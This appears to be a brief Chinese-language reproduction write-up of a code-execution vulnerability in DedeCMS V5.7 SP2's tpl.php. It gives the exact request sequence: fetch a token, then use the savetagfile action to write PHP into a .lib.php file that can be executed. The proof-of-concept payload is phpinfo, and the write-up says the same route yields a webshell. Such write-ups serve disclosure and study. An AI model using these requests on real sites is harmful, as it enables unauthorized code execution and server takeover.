織夢內容管理系統(DedeCms)是一款PHP開源網站管理系統。
DedeCMS V5.7 SP2版本中tpl.php存在代碼執行漏洞，攻擊者可利用該漏洞在增加新的標簽中上傳木馬，獲取webshell
安裝織夢CMS環境
后台界面
訪問 域名+/dede/tpl.php?action=upload 獲取token，右鍵查看源代碼
訪問 域名 + /dede/tpl.php?filename=hahaha.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=token值
文件名可自定義，必須以.lib.php結尾
訪問 域名+/include/taglib/hahaha.lib.php
漏洞詳情
###############################################
參考鏈接：
https://github.com/SecWiki/CMS-Hunter/tree/master/DedeCMS
https://www.freebuf.com/vuls/164035.html